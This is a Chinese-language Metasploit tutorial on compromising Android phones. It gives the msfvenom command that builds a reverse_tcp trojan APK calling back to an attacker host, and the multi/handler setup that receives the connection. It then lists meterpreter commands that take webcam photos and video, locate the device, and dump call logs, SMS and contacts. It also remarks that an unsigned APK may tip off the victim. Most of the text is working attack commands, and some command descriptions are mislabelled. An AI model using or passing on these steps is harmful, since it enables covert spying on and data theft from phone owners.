Metasploit之渗透安卓实战
| 在之前的Metaspoloit使用中都是在Windows系统中，因为渗透的是Windows系统，所以选用了“windows/meterpreter/reverse_tcp”模块。 而这里需要渗透安卓系统了，就选用“android/meterpreter/reverse_tcp”模块。 那么对于kali-linux连接木马的方式还是和之前的一样，利用“exploit/multi/handler” 并且，同样需要选用“windows/meterpreter/reverse_tcp”的PAYLOAD 这里假设我的测试环境 kali-linux： 192.168.2.146 安卓模拟环境：192.168.2.107 |
一、生成远程安卓木马
| msfconsole msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=4444 R > payload.apk |
命令解析：
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机（kali-linux的IP）
LPORT 设置用来接收反弹连接的端口（kali-linux的端口）
R 设置文件格式
Location 要保存的文件位置–>/root/Desktop/是桌面，没有目录表示当前系统Home目录下
PS：对于目前的安卓系统安全机制的考虑，因为没有签名证书可能导致无法安装或易被受害者识破
那么，签名证书的制作可以查看参考文献资料
二、开启metasploit，并且开启相关连接
| msfconsole use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST 192.168.2.146 set LPORT 4444 exploit |
三、meterpreter连接
安卓手机安装并且打开木马后会返回我们一个meterpreter连接,那么我们可以使用以下的一些常用的命令:| cd –>目录切换，命令：cd / 切换到根目录 search –>搜索文件，命令：search text.jpg download –>下载文件，命令：download test.jpg webcam_list –>查看摄像头列表，因为手机都是前置和后置摄像头了 webcam_snap –>拍照一张，需要选用前置或者后置摄像头，命令：webcam_snap -i 1 webcam_stream –>开启摄像头视频监控，同上，命令：webcam_stream -i 1 安卓系统相关命令： check_root –>查看当前安卓是否已经root dump_calllog –>下载通话记录 dump_contacts –>下载短信记录 dump_sms –>下载通讯录 geolocate –>利用谷歌地图定位（需要安装谷歌地图） |
